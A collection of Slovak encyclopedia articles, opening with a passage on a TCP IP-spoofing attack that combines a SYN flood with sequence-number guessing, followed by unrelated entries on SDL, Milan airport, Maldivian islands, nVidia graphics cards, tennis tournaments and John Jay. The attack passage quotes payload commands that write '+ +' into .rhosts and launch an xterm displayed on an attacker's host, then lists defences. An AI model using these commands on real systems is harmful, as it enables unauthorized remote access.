Haker odošle počítaču trusted SYN packet so zdrojovým počítačom DOWN. SYN packet vytvorí na cieľovom počítači nový proces, ktorý by za normálnych okolností „počúval“ packety. Trusted bude počítaču Down zasielať packety, na ktoré by Down odpovedal, keby toho bol schopný. Takto sa vlastne zahltí počítač Trusted, aby nestačil odpovedať. Toto sa opakuje niekoľkokrát. Počítač Trusted je zahltený. Komunikácia s počítačom Cieľ prebieha úplne normálne. Celistvosť dátového toku TCP/IP sa zabezpečuje pomocou takzvaných sekvenčných čísel (sequence numbers). Odpovede na pakety však smerujú do počítača Trusted, pretože mu to bolo oznámené v zdroji, keď sa počítač tvári ako Trusted. Takže je nutné zistiť spôsob, akým Cieľ generuje sekvenčné čísla:

Po zistení sekvenčného čísla pošle cieľu pakety na nadviazané spojenia, kde použije uhádnuté sekvenčné čísla. A samozrejme je pribalený nejaký príkaz, ktorým je zabezpečený prístup do systému (napríklad echo + + > .rhosts, alebo "DISPLAY=hacker:0.0; export DISPLAY;/usr/X11/bin/xterm&).
Cieľ ešte bude odpovedať na packety počítaču Trusted. Ten je však zahltený, takže sa pakety stratia. Počítač Trusted sa o chvíľu „preberie“ zo SYN flood útoku. Hakerovi už stačí iba využiť vytvorenú dieru a zahladiť po sebe stopy.

## Obrana proti útoku
* sťažiť zistenie spôsobu generovania sekvenčných čísel.
* definitívne zakázať službu rlogin a všetky služby, ktoré si dôverujú na základe hostname.

Kategória:Počítačová bezpečnosť
Demokratická strana (Namíbia)

**Demokratická strana** bola politická strana v Namíbii. Strana bola založená vo Vaalgrase, v roku 1975 Emilom Appolusom. Mala základy v Juhozápadnej Africkej národnej nezávislej organizácii (South West Africa United National Independence Organisation - SWAUNIO).

Kategória:Namíbia
Simple DirectMedia Layer

**Simple DirectMedia Layer** (**SDL**) (Jednoduchá GrafickyOrientovaná Vrstva) je cross-platform (Bežiaci na viaceých platformách) knižnica, napísaná v C . SDL je schopné pracovať s počítačovou grafikou, zvukom, videom, CD-ROMom, vláknami (viac operácií naraz), zdielaným objektovým nahrávaním, sieťou a timermi.

## Rozšírenia
***SDL_image** - Je používaný na prepojenie SDL s modernými formátmi obrázkov. Je udržiavaný Sam Lantinga a Mattias Engdegård. Momentálne podporuje tieto formáty: BMP, PPM, XPM, PCX, GIF, JPEG, PNG, a TGA. Toto rozšírenie je nevyhnutné, lebo základ SDL podporuje len prácu s bitmapami. Aj keď toto rozšírenie dodá len funkcie na nahrávanie a ukladanie obrázkov v tomto formáte, stačí to, lebo toto rozšírenie prekonvertuje obrázky na SDL_Surface, s ktorým už vie narábať.
***SDL_mixer** Základné funkcie so zvukom, hlavne na mixovanie
***SDL_net** Podpora sieťových operácií
***SDL_ttf** Práca a vykreslovanie s fontmi typu TTF (True type font) (Naozajstný font)
***SDL_rtf** Práca a vykreslovanie formatu RTF (Rich type format)



| *[[Freeciv]]*
File:Unknown horizons 3176.PNG| *[[Unknown Horizons]]*
File:0_A.D._alpha_25_-_playing_as_Spartans.jpg| *[[0 A.D.]]*
File:Hwscreen.png| *[[Hedgewars]]*
File:Fretsonfirex1.jpg| *[[Frets on Fire]]*
File:OpenTTD-0.7.1-de.png|*[[OpenTTD]]*
File:Wesnoth-1.6-5.jpg|*[[The Battle for Wesnoth]]*
File:OOlite_Mac_OS_X_screenshot.jpg| *[[Elite|Oolite]]*
File:SMC15PromoShot.png| *[[Secret Maryo Chronicles]]*
File:Trine - Knight Block.jpg| *[[Trine (Computerspiel)|Trine]]*





## Externé odkazy
* www.libsdl.org - domovská stránka

Kategória:Programovanie
Letisko Miláno-Malpensa

**Letisko Miláno-Malpensa** (; IATA: **MXP**, ICAO: **LIMC**) je medzinárodné letisko, ktoré sa nachádza v provincii Varese neďaleko Milána v Taliansku. Je jedným z troch hlavných letísk v okolí Milána.

Letisko je prepojené s centrom mesta Miláno diaľnicou a železničným spojením *Malpensa Express*. Pravidelné autobusové spojenie prepája letisko s druhým veľkým letiskom v regióne Linate.

Letisko Malpensa je druhým najrušnejším letiskom v Taliansku po rímskom Fiumicinu.

Malpensa má dva terminály: T1 pre komerčné lety a T2 pre charterové a nízkorozpočtové linky.

## Iné projekty

Kategória:Letiská v Taliansku
Kategória:Miláno
Kategória:Doprava v Lombardsku
Kategória:Stavby v Lombardsku
Númará

**Númará** () je jedným z obývaných ostrovov na atole Šavijani na Maldivách. Počet obyvateľov je 615 (jún 2006), dĺžka ostrova 900 m, šírka 480 m. Vzdialenosť od hlavného mesta Male je 253,49 km.

## Externé odkazy
*Informácie ministerstva pre rozvoj o Númará  - anglicky

Kategória:Ostrovy atolu Šavijani
Slaná (rozlišovacia stránka)

**Slaná** môže byť:

* ženský rod prídavného mena slaný, pozri slanosť
* vodný tok:
** rieka na Slovensku a v Maďarsku, pozri Slaná
** prítok Udavy v povodí Laborca, pozri Slaná (prítok Udavy)
** prítok Jasenice v Štiavnických vrchoch, pozri Slaná (prítok Jasenice)
* historický názov sídla Solivar (v dnešnej mestskej časti Solivar v Prešove), pozri Solivar (Prešov)
* obec v Česku v okrese Semily, pozri Slaná (okres Semily)
RIVA TNT

right|thumb|Graphics Blaster Riva TNT PCI

nVidia **Riva TNT** je grafická karta s pracovným označením NV4. Slovo RIVA je skratka pre ***R'''eal-time '''I'''nteractive '''V'''ideo and '''A'''nimation accelerator'' a prípona TNT vyjadruje, že grafika dokáže pracovať na dvoch [[texel]]och súčasne (***T**wi**N** **T*'exel*). Je to 3D akcelerátor aj s 2D jadrom, určený širokému segmentu trhu počítačov. Uvedenie sa datuje na rok 1998 a nVidia sa naďalej snažila upevniť svoje postavenie. Nasledovník Rivy 128, RIVA TNT 1 bola priamou odpoveďou na grafickú kartu 3dfx Voodoo 2. Nanešťastie Voodoo 2 taktiež disponuje 32-bitovými farbami (true color) a formátom pixelu s 24-bitovym Z-buferom v 3D móde. Pokrok TNT oproti RIVE 128 je dramatický vo vylepšení kvality zobrazovania a v systéme filtrovania textúr. Je to karta s jedným čipom a pamäťou rozšírenou na 16 MB SDRAM.

## Creative Graphics Blaster RIVA TNT PCI
RIVA TNT bola vydaná o niečo neskôr ako jej tvorcovia plánovali, tiež frekvencia jadra, 90 Mhz namiesto plánovaných 110 Mhz. Pôvodný plán mal potopiť Voodoo 2 vo všetkých aplikáciách Direct3D, ale práve vďaka nižšej konečnej frekvencii jadra tomu tak nebolo. Hry pod OpenGL zvládala Voodoo 2 veľmi dobre a TNT originálne 3dfx rozhranie Glide nepodporovala vôbec. TNT mala 32-bitovú podporu farieb, Voodoo 2 len 16-bitovú, zato vo veľmi vysokej kvalite (dithering system).

Naneštastie pre nVidiu, TNT nemohla súťažit v úspešnosti predaja s velikánom Voodoo 2 od 3dfx, nVidia bola stále vnímana ako nový hráč na trhu. Stále bolo najrýchlejšie a najlepšie optimalizované rozhranie nVidiou nepodporované Glide (takmer všetky hry ho podporovali). nVidia však varovala pred príchodom pokračovania TNT 2. Tá jasne porazila 3dfx Voodoo 2 vo všetkých hrách a to i pri nastavení 32 bitov.

Neskôr nVidia uviedla tzv. odľahčenú verziu Vanta. Pracovala s nižšou frekvenciou, 64-bitovou zbernicou, 8 MB pamäte. To rapídne posunulo cenu karty nadol (kvôli nižším nákladom pri samotnej výrobe). Niektorí výrobcovia základných dosiek integrovali kartu na svoje produkty. TNT sa predávalo najmä ako Diamond Viper V550, STB Velocity 4400. Víťazom v tomto vedení sa stal DELL a GATEWAY.

Kategória:Grafické karty NVIDIA
Ľadový potok

**Ľadový potok** môže byť:

* prítok Popradu vo Vysokých Tatrách, pozri Ľadový potok (prítok Popradu)
* prítok Rimavy v Gemeri, pozri Ľadový potok (prítok Rimavy)
* prítok Javorinky vo Vysokých Tatrách Ľadový potok (prítok Javorinky)
Microsoft FrontPage

**Microsoft FrontPage** (celý názov **Microsoft Office FrontPage**) je WYSIWYG HTML editor a nástroj na správu webu z kancelárskeho balíka Microsoft Office od spoločnosti Microsoft. Súčasťou balíka bol v rokoch 1997 až 2006. V novembri 2006 bol nahradený nástrojom Microsoft Expression Web.

## Verzie

Kategória:Microsoft Office
Kendikoludú

**Kendikoludú** () je jeden z obývaných ostrovov na atole Núnu na Maldivách. Počet obyvateľov je 1 525 (jún 2006), dĺžka ostrova 4 880 m, šírka 6 550 m. Vzdialenosť od hlavného mesta Male je 196,33 km.

## Externé odkazy
*Informácie ministerstva pre rozvoj o Kendikoludú  - anglicky

Kategória:Ostrovy atolu Núnu
Raymond Domenech

**Raymond Domenech**  (* 24. január 1952, Lyon, Francúzsko) je bývalý francúzsky futbalista, v súčasnosti je trénerom francúzskej reprezentácie. Má sčasti katalánskych predkov.

Štyri roky pôsobil ako tréner Olympique Lyonnais a od 12. júla 2004 je trénerom francúzskej reprezentácie, s ktorou v roku 2006 dosiahol striebro na Majstrovstvách sveta.

Kategória:Narodenia v 1952
Kategória:Francúzski futbalisti
Kategória:Francúzski futbaloví tréneri
Kategória:Tréneri Majstrovstiev sveta vo futbale 2006
Kategória:Tréneri Majstrovstiev sveta vo futbale 2010
Kategória:Osobnosti z Lyonu
Australian Open

**Australian Open** je prvý zo štyroch grandslamových tenisových turnajov. Hrá sa každý január v Melbourne Park. Turnaj sa prvýkrát uskutočnil v roku 1905.  Tak ako na ostatných grandslamových turnajoch aj na Australian Open sa zúčastňovali najvyššie postavení amatérski tenisti a do otvorenej éry (1968) bol známy ako **Australian championships**. Pôvodne sa hral na trávnatých dvorcoch štadióna Kooyong v juhovýchodnej časti Melbourne až kým bol v roku 1988 presunutý do Melbourne Park, kde sa hrá na tvrdom povrchu (Rebound Ace). Jediným hráčom, ktorý vyhral Australian Open na oboch povrchoch je Mats Wilander.

## Najviac titulov v otvorenej ére vo dvojhre


Kategória:Grandslamové turnaje
Kategória:Tenisové turnaje v Austrálii
John Jay

**John Jay** (* 12. december 1745, New York, New York, USA – † 17. máj 1829, Bedford) bol americký politik, štátnik, revolucionár, diplomat a právnik.

Bol jedným z Otcov zakladateľov Spojených štátov a prezidentom  Kontinentálneho kongresu v rokoch 1778 - 1779. Počas aj po skončení Americkej revolúcie bol vyslancom v Španielsku a vo Francúzsku, prispel tak k formovaniu americkej zahraničnej politiky a k zabezpečeniu výhodných podmienok mieru s Britániou a Francúzskom. Je spoluautorom Federalistických listov spolu s Alexanderom Hamiltonom a Jamesom Madisonom. 

Jay bol prvým predsedom Najvyššieho súdu Spojených štátov od roku 1789 do 1795. V roku 1794 dohodol tzv. Jayovu zmluvu s Britmi. Ako vodca novej Strany federalistov bol zvolený do úradu guvernéra štátu New York, ktorý zastával v rokoch 1795-1801. Bol popredným odporcom otroctva a obchodu s otrokmi v New Yorku. Prvý pokus o schválenie emancipačných zákonov v roku 1777 mu nevyšiel, uspel však roku 1799, keď podpísal zákon, ktorý nakoniec oslobodil otrokov v New Yorku.

Znovu bol menovaný predsedom Najvyššieho súdu USA 18. decembra 1800, ale menovanie odmietol a v 55 rokoch opustil politiku.

Zomrel 17. mája 1829 v Bedforde.

## Pozri aj
*Zoznam predsedov Najvyššieho súdu USA
*Najvyšší súd Spojených štátov

## Iné projekty

## Externé odkazy
* National Governors Association
 

Kategória:Politici USA
Kategória:Právnici USA
Kategória:Sudcovia Najvyššieho súdu USA
Kategória:Osobnosti z New Yorku
Kategória:Veľvyslanci Spojených štátov vo Francúzsku
Kategória:Veľvyslanci Spojených štátov v Španielsku
Kategória:Guvernéri štátu New York
Kategória:Diplomati USA
Kategória:Členovia American Philosophical Society
French Open

**French Open**, po francúzsky ***Tournoi de Roland-Garros***, je tenisový turnaj, ktorý sa hrá viac ako dva týždne každý rok v období od polovice mája do začiatku júna v Paríži vo Francúzsku. Je to druhý turnaj Grand Slamu v ročnom tenisovom kalendári. Hrá sa na antukovom povrchu.

Od roku 2006 sa French open pridal k Australian Open a US Open a ponúka rovnaké výhry pre mužov, aj pre ženy.

## Najviac titulov v otvorenej ére vo dvojhre


Kategória:Grandslamové turnaje
Kategória:Tenisové turnaje vo Francúzsku
Kategória:Tenisové turnaje
Kategória:Športové podujatia v Paríži
Dôverník Štátnej bezpečnosti

**Dôverník Štátnej bezpečnosti** je jedna z kategórií, vyskytujúcich sa v registroch ŠtB. V spise dôverníka sa zhromažďovali informácie, ktoré pomáhali plniť previerkové, pomocné a orientačné úlohy štátnobezpečnostnej povahy v súvislosti s odhaľovaním alebo objasňovaním protištátnej činnosti.
Osoba evidovaná v kategórii dôverník o tejto skutočnosti nemusela vedieť. Ústavný súd SR v minulosti rozhodol, že osoby vedené v kategórii dôverník neboli vedomými spolupracovníkmi. 

Spis dôvernika nepatrí do kategórie zväzkov tajných spolupracovníkov.

## Zdroj
*  Vysvetlivky k registračným protokolom Dostupné online (prístup 15.09.2022)
*  Príslušník ŠtB: Naše úlohy určovala strana https://www.sme.sk/c/1948826/prislusnik-stb-nase-ulohy-urcovala-strana.html (prístup 15.09.2022)
*  Jeden zo štátnych tajomníkov je vo zväzkoch ŠtB! https://www.aktuality.sk/clanok/205209/jeden-zo-statnych-tajomnikov-je-vo-zvazkoch-stb/ (prístup 15.09.2022)
*  Meno štátneho tajomníka Buriana v zväzkoch ŠtB!  https://www.noviny.sk/slovensko/102391-meno-statneho-tajomnika-buriana-v-zvaezkoch-stb (prístup 15.09.2022)

Kategória:Štátna bezpečnosť
Kostol Panny Márie milostí

**Kostol Panny Márie milostí** (tal. *Chiesa di Santa Maria delle Grazie*) je názov viacerých kostolov v Taliansku:
* Kostol Panny Márie milostí (Miláno)
* Kostol Panny Márie milostí (Modugno)
* Kostol Panny Márie milostí (Pistoia)
* Kostol Panny Márie milostí (Caponapoli, Neapol)
* Kostol Panny Márie milostí (Neapol)
* Kostol Panny Márie milostí (Toledo, Neapol)

Panna Mária milostí
milostí
Sídlisko Stred

náhľad|Sídlisko v Devínskej Novej Vsi

**Sídlisko Stred** je jeden z urbanistických celkov bratislavskej mestskej časti Bratislava – mestská časť Devínska Nová Ves. Zo západu je ohraničené Istrijskou, zo severu Novoveskou, z východu Kalištnou a z juhu Hradištnou ulicou.

Sídlisko Stred vzniklo koncom 70. rokov 20. storočia zbúraním časti pôvodnej zástavby nízkych jednotraktových rodinných domov. Tvoria ho 5-poschodové panelové bytové domy zoskupené do troch skupín tvaru L, čím tvoria viac-menej uzavretý vnútroblok. K panelovej zástavbe prilieha z juhu 6 tehlových 3-poschodových bytoviek. V náväznosti na bytové domy sú tiež objekty občianskej vybavenosti - pošta, zdravotné stredisko, základná umelecká škola, základná škola Pavla Horova a základná škola Ivana Bukovčana. 

Sídlisko priamo naväzuje na pôvodnú zástavbu pozdĺž Istrijskej ulice, aj ostatných priliehajúcich ulíc.

Kategória:Sídliská na Slovensku
Kategória:Devínska Nová Ves
Kategória:Bratislavské sídliská
Kostol Panny Márie milostí (Miláno)

**Kostol Panny Márie milostí** (tal. *Chiesa di Santa Maria delle Grazie*) je kostol a kláštor rádu dominikánov v Miláne. V severnej časti refektáru (jedáleň) sa nachádza maľba Leonarda da Vinciho Posledná večera. Obraz nepatrí kostolu, ale je vystavený v štátnom múzeu.

V roku 1980 bol kostol zapísaný na zoznam svetového dedičstva UNESCO.

Francesco Sforza nariadil postaviť konvent dominikánov v 15. storočí. Hlavným architektom bol Guiniforte Solari, konvent bol dokončený v 1469. Za autora apsidy kostola je považovaný známy taliansky renesančný architekt Donato Bramante. V roku 1943 bol kostol zasiahnutý leteckým útokom, poškodená bola väčšia časť kostola, ale niektoré steny zostali nepoškodené.

V kláštornej časti je do roku 2015 výstava časti diela Codex Atlanticus Leonarda da Vinciho.

## Iné projekty

## Externé odkazy
Oficiálna stránka  

Kategória:Kostoly v Miláne
Kategória:Lokality Svetového dedičstva v Taliansku
Kategória:Architektúra v 15. storočí
Miláno
Kategória:Rímskokatolícke kostoly v Taliansku
City Business Center I

right|thumb|City Business Center I v blízkosti VÚB banky

**City Business Center I** je výšková budova v Bratislave, ktorá je súčasťou kancelárskeho súboru City Business Center Bratislava na Karadžičovej ulici vedľa hlavnej autobusovej stanice a v bezprostrednej blízkosti výškovej budovy VÚB banky.

Hrubá stavba bola dokončená v marci 2007. Má výšku 107 metrov po vrchol antény, 95 metrov po strechu a 24 nadzemných podlaží. Stavebníkom a majiteľom budovy je developer HB Reavis Slovakia, ktorý v komplexe aj sídli.

## Iné projekty

Kategória:Výškové budovy v Bratislave
Kategória:Architektúra z 2006
RIVA TNT2

Riva TNT2 s 32 MB RAM|right|thumb

**RIVA TNT2** je grafická karta vyrobená začiatkom roku 1999. Jej výrobné označenie je NV5, bola v poradí už piata (NV1, NV2, RIVA 128, RIVA TNT, RIVA TNT 2) od spoločnosti nVidia.
 
Jadro sa podobá vlastnému predchodcovi (RIVA TNT), všetko však prešlo veľkými zmenami. Slot AGP 4x, 32 MB VRAM, výrobný proces prešiel z 0,35 na 0,25 mikrónu. Zdokonalenie výrobného procesu umožnilo nataktovať jadro na podstatne vyššiu frekvenciu (z 90 na 150 a viac MHz). TNT 2 ponúkala vysokú kvalitu podania farieb s rozlíšením končiacim pri 2048 x 2048. TNT 2 vo svojej dobe konkurovali grafické karty ako Voodoo3, Matrox G400 a ATI Rage 128.

Hlavnú konkurenciu predstavovala Voodoo3. Achillova päta 3dfx Voodoo3 bola v nepodporovanom 32-bitovom renderovaní (disponovala 24-bitovým, pozri ďalej). Voodoo3 sa spoliehala na svoj rýchly algoritmus a techniku dithering (to čo je v 16-bitoch, následne prejde filtrom až po konečný 24-bitový výsledný ekvivalent). Toto riešenie bolo nepochopiteľné pre používateľov, obraz TNT2 vyzeral lepšie. TNT 2 a Voodoo3 boli rozdielne aj v počte jednotiek pipeline, kým 3dfx malo jednu multi, TNT 2 dve samostatne. Niektoré staršie hry postavené na samotnej textúre pre polygón, išli na TNT 2 veľmi dobre. Takých hier bolo ale len menej a táto výhoda strácala na podstate.

Hlavný alarmujúci fakt bol, ze Voodoo2 v SLI (dve karty spolu) režime predčilo TNT 2 vo veľkom počte testov. TNT 2 nemala šancu, pre bežného používateľa toto riešenie nebolo opodstatnené (archaické riešenie, dve 3D karty + 2D karta). Bolo to príliš náročné, technológia Voodoo2 bola už staršia a aj samotný výkonnostný rozdiel medzi Voodoo2, Voodoo3, TNT 2 nebol taký priepastný. Zvykom nVidie je to, že uvedie k novému modelu lacnejší variant. TNT 2 model 64 mala pamäť zredukovanú zo 128 bitov na 64. Často bola známa aj pod menom Vanta. OEM verzia RIVA TNT 2 M64 bola neuveriteľne populárny model.

Falcon Northwest, veterán v hracom (PC) priemysle a Guillemot, továreň pre výrobu video kariet sa spojili v projekte o vyrobenie najvýkonnejšej varianty TNT 2. Niesla meno FALCON NORTHWEST SPECIAL EDITION MAXI GAMER XENTOR 32. Bola to TNT 2 ULTRA taktované na rekordnom kmitočte 195 MHz, 235 MHz RAM. Karta s extrémne krátkou latenciou; 4,3 ns.

RIVA TNT 2 bola neskôr bežne integrovávaná do základných dosiek, výroba neustala ani po príchode ďalších generácií (GE FORCE 256, GEFORCE 2MX) a skončila až v roku 2001.

Kategória:Grafické karty NVIDIA
San Pedro

**San Pedro** (šp. *svätý Peter*) môže byť:
* sopka:
** v Čile, pozri San Pedro (sopka v Čile)
** v Guatemale, pozri San Pedro (sopka v Guatemale)
** meno jedného z kráterov sopky Masaya v Nikarague
** maar vulkanického komplexu Suchitán v Guatemale
* sídlo alebo administratívna jednotka:
**v Argentíne:
*** San Pedro (partido)
*** San Pedro (Buenos Aires)
*** San Pedro (department, Jujuy)
*** San Pedro (department, Misiones)
**v Čile: San Pedro (Čile)
**na Filipínach:
*** obec, pozri San Pedro (Laguna)
*** barangay, pozri San Pedro (Bagabag)
**v Kolumbii:
*** San Pedro (Kolumbia)
**v Kostarike:
*** San Pedro (Alajuela)
*** San Pedro (San Juan)
**v Mexiku:
*** San Pedro (Mexiko)
*** San Pedro (Coahuila)
**v Paraguaji:
*** department, pozri San Pedro (department, Paraguaj)
*** hlavné mesto departmentu San Pedro, pozri San Pedro (San Pedro)
**v Španielsku:
*** San Pedro (Albacete)
*** San Pedro (Viveiro)
**v Spojených štátoch:
*** San Pedro (Los Angeles)
*** bývalá osada, pozri San Pedro (Nové Mexiko)

## Pozri aj
*San Pedro Town (mesto na ostrove Ambergris Caye v Belize)
*San Pedro de Atacama (osada v Atacamskej púšti v Čile)
*San Pédro (v Pobreží Slonoviny)
*San Pedro de Lóvago (v Nikaragui)
*San Pedro de Lloc (v Peru)
*San Pedro de Alcántra (v Španielsku)
*San Pedro del Pinatar
*San Pedro Bay (Kalifornia) (záliv)
*San Pedro Garza García
Hic et nunc

**Hic et nunc** (lat. "tu a teraz, tu a hneď, hneď a zaraz, na mieste") je latinský výraz, ktorým sa vyjadruje, že má niekto niečo vykonať alebo prežívať v aktuálnom momente, a to v širšom alebo užšom zmysle.

V užšom zmysle je to prežívanie okamihu, ktorý je práve tu a teraz - kde sa nachádza človek práve v tej jednej danej chvíli. Často sa zvýrazňuje aspekt neopakovateľnosti a jedinečnosti každého momentu ľudského života. Práve prístup hic et nunc zdôrazňuje, že človek sa má snažiť intenzívnejšie prežívať osobitne každú túto chvíľu svojej existencie.

V širšom zmysle je to prežívanie aktuálneho ľudského života (nunc) v súčasnom období (hic). Takýto prístup vyžaduje od človeka prijatie svojej súčasnosti, doby v ktorej žije, aby neblúdil po minulosti alebo budúcnosti, ale zameral sa na svoju dobu, ktorú môže ovplyvniť.

Hic et nunc neznamená, aby človek nemyslel na budúcnosť, alebo aby si nepamätal minulosť, je to prístup, v ktorom sa zdôrazňuje, že človek môže ovplyvniť, reálne prežívať iba aktuálny moment, okamih svojho života.

Kategória:Latinské výrazy
Altiplano (rozlišovacia stránka)

**Altiplano** (v americkej španielčine *vysočina, náhorná rovina*) môže byť:
* viacero náhorných plošín v Južnej Amerike a strednej Amerike, pozri Altiplano, Altiplano Cundiboyacense, Altiplano Nariñense, Altiplano (Mexiko)
* tektonická platňa v Južnej Amerike, pozri platňa Altiplano